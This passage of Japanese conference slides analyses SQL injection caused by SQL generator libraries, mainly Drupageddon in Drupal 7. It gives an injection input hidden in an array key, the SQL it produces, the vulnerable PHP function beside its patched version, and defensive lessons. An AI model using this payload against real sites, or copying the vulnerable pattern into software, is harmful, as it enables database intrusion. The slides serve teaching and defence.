プレースホルダ :name_2 が
2箇所現れる
プレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…
が、xxxxxの箇所でSQLの文法違反となる
name[2 xxxxx]=&name[2]=user2
SQLインジェクションを試す
Copyright © 2008-2015 HASH Consulting Corp. 80
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , '
user2' AND status = 1
キー名に追加のSQL文を書く
実際に呼び出されるSQL文
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,
:name_2 AND status = 1
プレースホルダの後ろに追加のSQL文が現れる
脆弱なソース
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2008-2015 HASH Consulting Corp. 81
対策版(7.32)
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
//foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) { // キーを削除
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2008-2015 HASH Consulting Corp. 82
問題点のまとめ
• Zend Framework
– orderメソッドの引数をエスケープするか否かを、
パラメータの中身で判断している
– これは仕様のバグ
• SQL::Maker
– パラメータとして連想配列を想定はしていたが、キーを
外部から入力される想定がなかった
• Drupal (Drupageddon)
– パラメータとして配列は想定していたが、連想配列は想
定していなかった(主原因)
– アプリケーション側でバリデーションをしていなかった
(7.36で配列を弾くようになった)
Copyright © 2008-2015 HASH Consulting Corp. 83
まとめ
• SQLインジェクション対策もれの責任を開発会社に問う判決
が出た
• PHP入門書のSQLインジェクション脆弱性の状況
– PHP入門書のSQLインジェクションは解消されつつある
• SQLジェネレータの実装に起因するSQLインジェクション脆
弱性を紹介
– 仕様の考慮漏れが原因
– パラメータをエスケープする・しないが不明確(Zend Framework)
– パラメータとして連想配列が来ることを想定していなかった
– 連想配列のキーが外部入力となることを想定していなかった
• SQLジェネレータ利用者側の注意
– ライブラリの仕様を理解する(マニュアルをちゃんと読む)
– バリデーションは普通にやっときましょう
Copyright © 2008-2015 HASH Consulting Corp. 84

More Related Content

Phpcon2015